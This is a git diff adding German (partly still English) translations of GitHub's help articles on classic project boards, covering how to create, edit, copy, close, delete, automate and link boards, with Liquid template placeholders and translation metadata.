+Zum Erstellen eines {% data variables.projects.projects_v1_board %}s für deine Organisation musst du ein Organisationsmitglied sein. Organisationsbesitzer*innen und Personen mit {% data variables.projects.projects_v1_board %}-Administratorberechtigungen können den Zugriff auf das {% data variables.projects.projects_v1_board %} anpassen.
+
+{% ifversion classic-project-visibility-permissions %}{% data reusables.projects.owners-can-limit-visibility-permissions %}{% endif %}
+
+Wenn ein organisationseigenes {% data variables.projects.projects_v1_board %} Issues oder Pull Requests aus einem Repository enthält, für das du keine Leseberechtigung hast, wird die Karte zensiert.  Weitere Informationen findest du unter [{% data variables.product.prodname_project_v1_caps %}-Berechtigungen für eine Organisation](/articles/project-board-permissions-for-an-organization).
+
+In der Aktivitätsansicht wird der aktuelle Verlauf des {% data variables.projects.projects_v1_board %}s angezeigt, z. B. Karten, die von jemandem erstellt oder zwischen den Spalten verschoben wurden. Um auf die Aktivitätsansicht zuzugreifen, klicke auf **Menü**, und scrolle nach unten.
+
+Du kannst {% data variables.projects.projects_v1_board %}karten filtern, um auf einem {% data variables.projects.projects_v1_board %} nach bestimmten Karten zu suchen oder eine Teilmenge der Karten anzuzeigen. Weitere Informationen findest du unter [Filtern von Karten auf einem {% data variables.product.prodname_project_v1 %}](/articles/filtering-cards-on-a-project-board).
+
+Du kannst Karten archivieren, um deinen Workflow zu vereinfachen und abgeschlossene Aufgaben aus deinem {% data variables.projects.projects_v1_board %} beizubehalten. Weitere Informationen findest du unter [Archivieren von Karten auf einem {% data variables.product.prodname_project_v1 %}](/articles/archiving-cards-on-a-project-board).
+
+Wenn du alle deine {% data variables.projects.projects_v1_board %}aufgaben abgeschlossen hast oder das {% data variables.projects.projects_v1_board %} nicht mehr benötigst, kannst du das {% data variables.projects.projects_v1_board %} schließen. Weitere Informationen findest du unter [Schließen eines {% data variables.product.prodname_project_v1 %}](/articles/closing-a-project-board).
+
+Du kannst auch [{% data variables.projects.projects_v1_boards %} in einem Repository](/articles/disabling-project-boards-in-a-repository) oder [{% data variables.projects.projects_v1_boards %} in deiner Organisation deaktivieren](/articles/disabling-project-boards-in-your-organization), wenn du deine Arbeit auf andere Weise nachverfolgen möchtest.
+
+{% data reusables.project-management.project-board-import-with-api %}
+
+## Vorlagen für {% data variables.projects.projects_v1_boards %}
+
+Du kannst Vorlagen verwenden, um schnell ein neues {% data variables.projects.projects_v1_board %} einzurichten. Wenn du eine Vorlage zum Erstellen eines {% data variables.projects.projects_v1_board %} verwendest, enthält dein neues Board Spalten sowie Karten mit Tipps für die Verwendung von {% data variables.product.prodname_projects_v1 %}. Du kannst auch eine Vorlage mit bereits konfigurierter Automatisierung wählen.
+
+| Vorlage | BESCHREIBUNG |
+| --- | --- |
+| Grundlegendes Kanban | Verfolge deine Aufgaben mit den Spalten „Zu Bearbeiten“, „In Bearbeitung“ oder „Abgeschlossen“ |
+| Automatisiertes Kanban | Tickets werden automatisch zwischen den Spalten „Zu Bearbeiten“, „In Bearbeitung“ oder „Abgeschlossen“ verschoben | 
+| Automatisiertes Kanban mit Review | Tickets werden automatisch zwischen den Spalten „Zu Bearbeiten“, „In Bearbeitung“ oder „Abgeschlossen“ verschoben, mit zusätzlichen Auslösern für den Pull-Request-Status |
+| Fehler-Selektion | Selektiere und priorisiere Fehler mit den Spalten „Zu Bearbeiten“, „Hohe Priorität“, „Niedrige Priorität“ und „Abgeschlossen“ |
+
+Weitere Informationen zur Automatisierung für {% data variables.product.prodname_projects_v1 %} findest du unter [Informationen zur Automatisierung für {% data variables.product.prodname_projects_v1 %}](/articles/about-automation-for-project-boards).
+
+![{% data variables.product.prodname_project_v1 %} mit Vorlage für grundlegendes Kanban](/assets/images/help/projects/project-board-basic-kanban-template.png)
+
+{% data reusables.project-management.copy-project-boards %}
+
+## Weiterführende Themen
+
+- [Erstellen eines {% data variables.product.prodname_project_v1 %}](/articles/creating-a-project-board)
+- [Bearbeiten eines {% data variables.product.prodname_project_v1 %}](/articles/editing-a-project-board){% ifversion fpt or ghec %}
+- [Kopieren eines {% data variables.product.prodname_project_v1 %}](/articles/copying-a-project-board){% endif %}
+- [Hinzufügen von Issues und Pull Requests zu einem {% data variables.product.prodname_project_v1 %}](/articles/adding-issues-and-pull-requests-to-a-project-board)
+- [{% data variables.product.prodname_project_v1_caps %}-Berechtigungen für eine Organisation](/articles/project-board-permissions-for-an-organization)
+- [Tastenkombinationen](/articles/keyboard-shortcuts/#project-boards)
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility.md
new file mode 100644
index 0000000000..03e1987e4d
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility.md
@@ -0,0 +1,32 @@
+---
+title: 'Changing {% data variables.product.prodname_project_v1 %} visibility'
+intro: 'As an organization owner or {% data variables.projects.projects_v1_board %} admin, you can make a {% data variables.projects.projects_v1_board %} {% ifversion ghae %}internal{% else %}public{% endif %} or private.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards/changing-project-board-visibility
+  - /articles/changing-project-board-visibility
+  - /github/managing-your-work-on-github/changing-project-board-visibility
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+shortTitle: Change visibility
+allowTitleToDifferFromFilename: true
+---
+{% data reusables.projects.project_boards_old %}
+
+{% data reusables.project-management.project-board-visibility %}
+
+{% note %}
+
+**{% ifversion classic-project-visibility-permissions %}Notes{% else %}Note{% endif %}:** {% ifversion classic-project-visibility-permissions %}
+
+* {% data reusables.projects.owners-can-limit-visibility-permissions %}
+* {% endif %}When you make your {% data variables.projects.projects_v1_board %} {% ifversion ghae %}internal{% else %}public{% endif %}, organization members are given read access by default. You can give specific organization members write or admin permissions by giving access to teams they're on or by adding them to the {% data variables.projects.projects_v1_board %} as a collaborator. For more information, see "[{% data variables.product.prodname_project_v1_caps %} permissions for an organization](/articles/project-board-permissions-for-an-organization)."
+
+{% endnote %}
+
+1. Navigate to the project board you want to make {% ifversion ghae %}internal{% else %}public{% endif %} or private.
+{% data reusables.project-management.click-menu %}
+{% data reusables.project-management.access-collaboration-settings %}
+{% data reusables.project-management.choose-visibility %}
+1. Click **Save**.
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
new file mode 100644
index 0000000000..0da2d1e7f8
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
@@ -0,0 +1,39 @@
+---
+title: 'Schließen eines {% data variables.product.prodname_project_v1 %}'
+intro: 'Wenn du alle Aufgaben in einem {% data variables.projects.projects_v1_board %} abgeschlossen hast oder das {% data variables.projects.projects_v1_board %} nicht mehr benötigst, kannst du das {% data variables.projects.projects_v1_board %} schließen.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards/closing-a-project-board
+  - /articles/closing-a-project
+  - /articles/closing-a-project-board
+  - /github/managing-your-work-on-github/closing-a-project-board
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 21dfb0c6837f97d567f19168cd7f343aac06a4c0
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109701'
+---
+{% data reusables.projects.project_boards_old %}
+
+Wenn du ein {% data variables.projects.projects_v1_board %} schließt, werden alle konfigurierten Workflowautomatisierungen standardmäßig angehalten.
+
+Wenn du ein {% data variables.projects.projects_v1_board %} erneut öffnest, hast du die Möglichkeit, die Automatisierung zu *synchronisieren*. Dadurch wird die Position der Karten auf dem Projektboard entsprechend den für das Board konfigurierten Automatisierungseinstellungen aktualisiert. Weitere Informationen findest du unter [Erneutes Öffnen eines geschlossenen {% data variables.product.prodname_project_v1 %}](/articles/reopening-a-closed-project-board) oder [Informationen zur Automatisierung für {% data variables.product.prodname_projects_v1 %}](/articles/about-automation-for-project-boards).
+
+1. Navigiere zur Liste der {% data variables.projects.projects_v1_boards %}, die sich in deinem Repository oder in deiner Organisation befinden oder die zu deinem persönlichen Konto gehören.
+2. Klicke in der Projektliste neben dem {% data variables.projects.projects_v1_board %}, das du schließen möchtest, auf {% octicon "chevron-down" aria-label="The chevron icon" %}.
+![Chevron-Symbol rechts neben dem Namen des Projektboards](/assets/images/help/projects/project-list-action-chevron.png)
+3. Klicken Sie auf **Schließen**.
+![Option „Schließen“ im Dropdownmenü des Projektboards](/assets/images/help/projects/close-project.png)
+
+## Weiterführende Themen
+
+- [Informationen zu {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards)
+- [Löschen eines {% data variables.product.prodname_project_v1 %}](/articles/deleting-a-project-board)
+- [Deaktivieren von {% data variables.product.prodname_projects_v1 %} in einem Repository](/articles/disabling-project-boards-in-a-repository)
+- [Deaktivieren von {% data variables.product.prodname_projects_v1 %} in deiner Organisation](/articles/disabling-project-boards-in-your-organization)
+- [{% data variables.product.prodname_project_v1_caps %}-Berechtigungen für eine Organisation](/articles/project-board-permissions-for-an-organization)
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards.md
new file mode 100644
index 0000000000..bf7c6f8dcc
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards.md
@@ -0,0 +1,51 @@
+---
+title: 'Konfigurieren der Automatisierung für {% data variables.product.prodname_projects_v1 %}'
+intro: 'Du kannst automatische Workflows einrichten, die Issues und Pull Requests in eine {% data variables.projects.projects_v1_board %}-Spalte verschieben, wenn ein festgelegtes Ereignis auftritt.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards/configuring-automation-for-project-boards
+  - /articles/configuring-automation-for-project-boards
+  - /github/managing-your-work-on-github/configuring-automation-for-project-boards
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+  - Projects
+  - Issues
+  - Project management
+shortTitle: Configure automation
+type: how_to
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: faf559c3423178b43f3b524bbf3cdc41acd18a92
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109700'
+---
+{% data reusables.projects.project_boards_old %}
+
+{% data reusables.project-management.automate-project-board-permissions %} Weitere Informationen findest Du in den [Informationen zur Automatisierung für {% data variables.product.prodname_projects_v1 %}](/articles/about-automation-for-project-boards).
+
+{% data reusables.project-management.use-automated-template %}
+
+{% data reusables.project-management.resync-automation %}
+
+{% tip %}
+
+**Tipp**: Klicke zum Bearbeiten von Spalten, für die die Automatisierung bereits konfiguriert ist, unten in der Spalte auf **Manage** (Verwalten).
+
+{% endtip %}
+
+1. Navigiere zu dem {% data variables.projects.projects_v1_board %}, das du automatisieren möchtest.
+2. Klicke in der Spalte, die du automatisieren möchtest, auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
+![Symbol „Bearbeiten“](/assets/images/help/projects/edit-column-button.png)
+3. Klicke auf **Manage automation** (Automatisierung verwalten).
+![Schaltfläche „Manage automation“ (Automatisierung verwalten)](/assets/images/help/projects/manage-automation-button.png)
+4. Wähle im Dropdownmenü „Preset“ (Voreinstellung) eine Voreinstellung für die Automatisierung aus.
+![Voreinstellung für Automatisierung aus Menü auswählen](/assets/images/help/projects/select-automation.png)
+5. Wähle die Workflow-Automatisierungen aus, die du für die Spalte konfigurieren möchtest.
+![Liste der Optionen für die Automatisierung der Spalte](/assets/images/help/projects/select-automation-options-existing-column.png)
+6. Klicke auf **Update automation** (Automatisierung aktualisieren).
+
+## Weiterführende Themen
+- [Informationen zur Automatisierung für {% data variables.product.prodname_projects_v1 %}](/articles/about-automation-for-project-boards)
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/copying-a-project-board.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/copying-a-project-board.md
new file mode 100644
index 0000000000..2e1aef5aab
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/copying-a-project-board.md
@@ -0,0 +1,39 @@
+---
+title: 'Copying a {% data variables.product.prodname_project_v1 %}'
+intro: 'You can copy a {% data variables.projects.projects_v1_board %} to quickly create a new project. Copying frequently used or highly customized {% data variables.projects.projects_v1_boards %} helps standardize your workflow.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards/copying-a-project-board
+  - /articles/copying-a-project-board
+  - /github/managing-your-work-on-github/copying-a-project-board
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+allowTitleToDifferFromFilename: true
+---
+{% data reusables.projects.project_boards_old %}
+
+Copying a {% data variables.projects.projects_v1_board %} allows you to reuse a {% data variables.projects.projects_v1_board %}'s title, description, and automation configuration. You can copy {% data variables.projects.projects_v1_boards %} to eliminate the manual process of creating new {% data variables.projects.projects_v1_boards %} for similar workflows.
+
+You must have read access to a {% data variables.projects.projects_v1_board %} to copy it to a repository or organization where you have write access.
+
+When you copy a {% data variables.projects.projects_v1_board %} to an organization, the {% data variables.projects.projects_v1_board %}'s visibility will default to private, with an option to change the visibility. For more information, see "[Changing {% data variables.product.prodname_project_v1 %} visibility](/articles/changing-project-board-visibility/)."
+
+A {% data variables.projects.projects_v1_board %}'s automation is also enabled by default. For more information, see "[About automation for {% data variables.product.prodname_projects_v1 %}](/articles/about-automation-for-project-boards/)."
+
+1. Navigate to the {% data variables.projects.projects_v1_board %} you want to copy.
+{% data reusables.project-management.click-menu %}
+3. Click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Copy**.
+![Copy option in drop-down menu from project board sidebar](/assets/images/help/projects/project-board-copy-setting.png)
+4. Under "Owner", use the drop-down menu and click the repository or organization where you want to copy the project board.
+![Select owner of copied project board from drop-down menu](/assets/images/help/projects/copied-project-board-owner.png)
+5. Optionally, under "Project board name", type the name of the copied {% data variables.projects.projects_v1_board %}.
+![Field to type a name for the copied project board](/assets/images/help/projects/copied-project-board-name.png)
+6. Optionally, under "Description", type a description of the copied project board that other people will see.
+![Field to type a description for the copied project board](/assets/images/help/projects/copied-project-board-description.png)
+7. Optionally, under "Automation settings", select whether you want to copy the configured automatic workflows. This option is enabled by default. For more information, see "[About automation for project boards](/articles/about-automation-for-project-boards/)."
+![Select automation settings for copied project board](/assets/images/help/projects/copied-project-board-automation-settings.png)
+{% data reusables.project-management.choose-visibility %}
+9. Click **Copy project**.
+![Confirm Copy button](/assets/images/help/projects/confirm-copy-project-board.png)
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
new file mode 100644
index 0000000000..8c2e267000
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
@@ -0,0 +1,115 @@
+---
+title: 'Creating a {% data variables.product.prodname_project_v1 %}'
+intro: '{% data variables.projects.projects_v1_boards_caps %} can be used to create customized workflows to suit your needs, like tracking and prioritizing specific feature work, comprehensive roadmaps, or even release checklists.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards/creating-a-project-board
+  - /articles/creating-a-project
+  - /articles/creating-a-project-board
+  - /github/managing-your-work-on-github/creating-a-project-board
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+  - Issues
+  - Projects
+  - Project management
+type: how_to
+allowTitleToDifferFromFilename: true
+---
+{% data reusables.projects.project_boards_old %}
+
+{% data reusables.project-management.use-automated-template %}
+
+{% data reusables.project-management.copy-project-boards %}
+
+{% data reusables.project-management.link-repos-to-project-board %} For more information, see "[Linking a repository to a {% data variables.product.prodname_project_v1 %}
+](/articles/linking-a-repository-to-a-project-board)."
+
+Once you've created your {% data variables.projects.projects_v1_board %}, you can add issues, pull requests, and notes to it. For more information, see "[Adding issues and pull requests to a {% data variables.product.prodname_project_v1 %}](/articles/adding-issues-and-pull-requests-to-a-project-board)" and "[Adding notes to a {% data variables.product.prodname_project_v1 %}](/articles/adding-notes-to-a-project-board)."
+
+You can also configure workflow automations to keep your {% data variables.projects.projects_v1_board %} in sync with the status of issues and pull requests. For more information, see "[About automation for {% data variables.product.prodname_projects_v1 %}](/articles/about-automation-for-project-boards)."
+
+{% data reusables.project-management.project-board-import-with-api %}
+
+## Creating a user-owned {% data variables.projects.projects_v1_board %}
+
+{% data reusables.projects.classic-project-creation %}
+
+{% data reusables.profile.access_profile %}
+2. On the top of your profile page, in the main navigation, click {% octicon "project" aria-label="The project board icon" %} **Projects**.
+![Project tab](/assets/images/help/projects/user-projects-tab.png){% ifversion projects-v2 %}
+1. Click **Projects (classic)**{% endif %}
+{% data reusables.project-management.click-new-project %}
+{% data reusables.project-management.create-project-name-description %}
+{% data reusables.project-management.choose-template %}
+{% data reusables.project-management.choose-visibility %}
+{% data reusables.project-management.linked-repositories %}
+{% data reusables.project-management.create-project-button %}
+{% data reusables.project-management.add-column-new-project %}
+{% data reusables.project-management.name-project-board-column %}
+{% data reusables.project-management.select-column-preset %}
+{% data reusables.project-management.select-automation-options-new-column %}
+{% data reusables.project-management.click-create-column %}
+{% data reusables.project-management.add-more-columns %}
+
+{% data reusables.project-management.edit-project-columns %}
+
+## Creating an organization-wide {% data variables.projects.projects_v1_board %}
+
+{% data reusables.projects.classic-project-creation %}
+
+{% ifversion classic-project-visibility-permissions %}
+{% note %}
+
+**Note:** {% data reusables.projects.owners-can-limit-visibility-permissions %}
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %}
+1. Click **Projects (classic)**{% endif %}
+{% data reusables.project-management.click-new-project %}
+{% data reusables.project-management.create-project-name-description %}
+{% data reusables.project-management.choose-template %}
+{% data reusables.project-management.choose-visibility %}
+{% data reusables.project-management.linked-repositories %}
+{% data reusables.project-management.create-project-button %}
+{% data reusables.project-management.add-column-new-project %}
+{% data reusables.project-management.name-project-board-column %}
+{% data reusables.project-management.select-column-preset %}
+{% data reusables.project-management.select-automation-options-new-column %}
+{% data reusables.project-management.click-create-column %}
+{% data reusables.project-management.add-more-columns %}
+
+{% data reusables.project-management.edit-project-columns %}
+
+## Creating a repository {% data variables.projects.projects_v1_board %}
+
+{% data reusables.projects.classic-project-creation %}
+
+{% data reusables.repositories.navigate-to-repo %}
+2. Under your repository name, click {% octicon "project" aria-label="The project board icon" %} **Projects**.
+![Project tab](/assets/images/help/projects/repo-tabs-projects.png){% ifversion projects-v2 %}
+1. Click **Projects (classic)**{% endif %}
+{% data reusables.project-management.click-new-project %}
+{% data reusables.project-management.create-project-name-description %}
+{% data reusables.project-management.choose-template %}
+{% data reusables.project-management.create-project-button %}
+{% data reusables.project-management.add-column-new-project %}
+{% data reusables.project-management.name-project-board-column %}
+{% data reusables.project-management.select-column-preset %}
+{% data reusables.project-management.select-automation-options-new-column %}
+{% data reusables.project-management.click-create-column %}
+{% data reusables.project-management.add-more-columns %}
+
+{% data reusables.project-management.edit-project-columns %}
+
+## Further reading
+
+- "[About projects boards](/articles/about-project-boards)"
+- "[Editing a project board](/articles/editing-a-project-board)"{% ifversion fpt or ghec %}
+- "[Copying a project board](/articles/copying-a-project-board)"{% endif %}
+- "[Closing a project board](/articles/closing-a-project-board)"
+- "[About automation for project boards](/articles/about-automation-for-project-boards)"
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
new file mode 100644
index 0000000000..899f7fbea2
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
@@ -0,0 +1,39 @@
+---
+title: 'Löschen eines {% data variables.product.prodname_project_v1 %}'
+intro: 'Du kannst ein vorhandenes {% data variables.projects.projects_v1_board %} löschen, wenn du keinen Zugriff mehr auf dessen Inhalt benötigst.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards/deleting-a-project-board
+  - /articles/deleting-a-project
+  - /articles/deleting-a-project-board
+  - /github/managing-your-work-on-github/deleting-a-project-board
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: fb68b796fa41a565ab2e196f878c17c94ec44a06
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108375'
+---
+{% data reusables.projects.project_boards_old %}
+
+{% tip %}
+
+**Tipp**: Wenn du den Zugriff auf ein abgeschlossenes oder nicht benötigtes {% data variables.projects.projects_v1_board %} beibehalten möchtest, ohne den Zugriff auf dessen Inhalt zu verlieren, kannst du [das {% data variables.projects.projects_v1_board %}](/articles/closing-a-project-board) schließen, anstatt es zu löschen.
+
+{% endtip %}
+
+1. Navigiere zu dem {% data variables.projects.projects_v1_board %}, das du löschen möchtest.
+{% data reusables.project-management.click-menu %} {% data reusables.project-management.click-edit-sidebar-menu-project-board %}
+4. Klicke auf **Projekt löschen**.
+![Schaltfläche „Projekt löschen“](/assets/images/help/projects/delete-project-button.png)
+5. Klicke auf **OK**, um zu bestätigen, dass du das Projektboard löschen möchtest.
+
+## Weiterführende Themen
+
+- [Schließen eines {% data variables.product.prodname_project_v1 %}](/articles/closing-a-project-board)
+- [Deaktivieren von {% data variables.product.prodname_project_v1_caps %} in einem Repository](/articles/disabling-project-boards-in-a-repository)
+- [Deaktivieren von {% data variables.product.prodname_project_v1_caps %} in deiner Organisation](/articles/disabling-project-boards-in-your-organization)
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
new file mode 100644
index 0000000000..ecc86d931e
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
@@ -0,0 +1,39 @@
+---
+title: 'Bearbeiten eines {% data variables.product.prodname_project_v1 %}'
+intro: 'Du kannst den Titel und die Beschreibung eines vorhandenen {% data variables.projects.projects_v1_board %}s bearbeiten.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards/editing-a-project-board
+  - /articles/editing-a-project
+  - /articles/editing-and-deleting-a-project
+  - /articles/editing-a-project-board
+  - /github/managing-your-work-on-github/editing-a-project-board
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 9b3811bcd472d44be809681064476e7e4f5bef08
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109566'
+---
+{% data reusables.projects.project_boards_old %}
+
+{% tip %}
+
+**Tipp:** Ausführliche Informationen zum Hinzufügen, Entfernen oder Bearbeiten von Spalten in deinem {% data variables.projects.projects_v1_board %} findest du unter [Erstellen eines {% data variables.product.prodname_project_v1 %}](/articles/creating-a-project-board).
+
+{% endtip %}
+
+1. Navigiere zu dem {% data variables.projects.projects_v1_board %}, das du bearbeiten möchtest.
+{% data reusables.project-management.click-menu %} {% data reusables.project-management.click-edit-sidebar-menu-project-board %} 
+4. Ändere den Namen und die Beschreibung des {% data variables.projects.projects_v1_board %}s nach Bedarf, und klicke dann auf **Projekt speichern**.
+![Feld mit dem Namen und der Beschreibung des Projektboards und Schaltfläche „Projekt speichern“](/assets/images/help/projects/edit-project-board-save-button.png)
+
+## Weiterführende Themen
+
+- [Informationen zu {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards)
+- [Hinzufügen von Issues und Pull Requests zu einem {% data variables.product.prodname_project_v1 %}](/articles/adding-issues-and-pull-requests-to-a-project-board)
+- [Löschen eines {% data variables.product.prodname_project_v1 %}](/articles/deleting-a-project-board)
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/index.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/index.md
new file mode 100644
index 0000000000..d9ecdaa860
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/index.md
@@ -0,0 +1,32 @@
+---
+title: 'Verwalten von {% data variables.product.prodname_projects_v1 %}n'
+shortTitle: 'Managing {% data variables.product.prodname_projects_v1 %}'
+intro: 'Informationen zum Erstellen und Verwalten von {% data variables.projects.projects_v1_boards %}'
+versions:
+  feature: projects-v1
+topics:
+  - Issues
+  - Projects
+children:
+  - /about-project-boards
+  - /creating-a-project-board
+  - /editing-a-project-board
+  - /linking-a-repository-to-a-project-board
+  - /about-automation-for-project-boards
+  - /configuring-automation-for-project-boards
+  - /copying-a-project-board
+  - /changing-project-board-visibility
+  - /closing-a-project-board
+  - /reopening-a-closed-project-board
+  - /deleting-a-project-board
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: b4034bc9c9ffd29709ac491c6729787c958dd50b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109569'
+---
+{% data reusables.projects.project_boards_old %}
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board.md
new file mode 100644
index 0000000000..e2a51b139b
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board.md
@@ -0,0 +1,46 @@
+---
+title: 'Verknüpfen eines Repositorys mit einem {% data variables.product.prodname_project_v1 %}'
+intro: 'Du kannst ein Repository mit einem {% data variables.projects.projects_v1_board %} deiner Organisation oder deines persönlichen Kontos verknüpfen.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards/linking-a-repository-to-a-project-board
+  - /articles/linking-a-repository-to-a-project-board
+  - /github/managing-your-work-on-github/linking-a-repository-to-a-project-board
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+shortTitle: Link repository to board
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: d0893b64551be80577547b9791e7a7ed6a432de0
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109695'
+---
+{% data reusables.projects.project_boards_old %}
+
+Jede Person mit Schreibberechtigungen für ein {% data variables.projects.projects_v1_board %} kann Repositorys der Organisation oder deines persönlichen Kontos mit dem {% data variables.projects.projects_v1_board %} verknüpfen. Weitere Informationen findest du unter [{% data variables.product.prodname_project_v1_caps %}-Berechtigungen für eine Organisation](/articles/project-board-permissions-for-an-organization/) oder [Berechtigungsstufen für benutzereigene {% data variables.product.prodname_projects_v1 %}](/articles/permission-levels-for-user-owned-project-boards/).
+
+{% data reusables.project-management.link-repos-to-project-board %} Du kannst Issues und Pull Requests aus nicht verknüpften Repositorys hinzufügen, indem du die URL des Issues oder Pull Requests in eine Karte eingibst. Weitere Informationen findest du unter [Hinzufügen von Issues und Pull Requests zu einem {% data variables.product.prodname_project_v1 %}](/articles/adding-issues-and-pull-requests-to-a-project-board).
+
+1. Navigiere zu dem {% data variables.projects.projects_v1_board %}, das du mit einem Repository verknüpfen möchtest.
+{% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %}
+4. Klicke in der linken Seitenleiste auf **Linked repositories** (Verknüpfte Repositories).
+![Menüoption „Linked repositories“ (Verknüpfte Repositories) in der linken Seitenleiste](/assets/images/help/projects/project-board-linked-repositories-setting.png)
+5. Klicke auf **Link a repository** (Ein Repository verknüpfen).
+![Schaltfläche „Link a repository“ (Ein Repository verknüpfen) auf der Registerkarte „Linked repositories“ (Verknüpfte Repositories)](/assets/images/help/projects/link-repository-button.png)
+6. Suche das Repository, das du verknüpfen möchtest.
+![Suchfeld im Fenster „Link a repository“ (Ein Repository verknüpfen)](/assets/images/help/projects/search-to-link-repository.png)
+7. Klicke auf **Link** (Verknüpfen). Klicke zum Aufheben der Verknüpfung auf **Unlink** (Verknüpfung aufheben).
+![Schaltfläche „Link“ (Verknüpfen)](/assets/images/help/projects/link-button.png)
+
+{% note %}
+
+**Hinweis:** Zum Verknüpfen eines Repositorys mit der Organisation oder dem benutzereigenen {% data variables.projects.projects_v1_board %} müssen Issues für das Repository aktiviert sein. Dies heißt, dass das Repository über eine Registerkarte „Issues“ verfügt (in kopierten Repositorys sind Issues standardmäßig deaktiviert).  Informationen zum Aktivieren oder Deaktivieren von Issues für ein Repository findest du im Artikel zum [Deaktivieren von Issues für ein Repository](/github/managing-your-work-on-github/disabling-issues).
+
+{% endnote %}
+
+## Weiterführende Themen
+
+- [Informationen zu {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards)
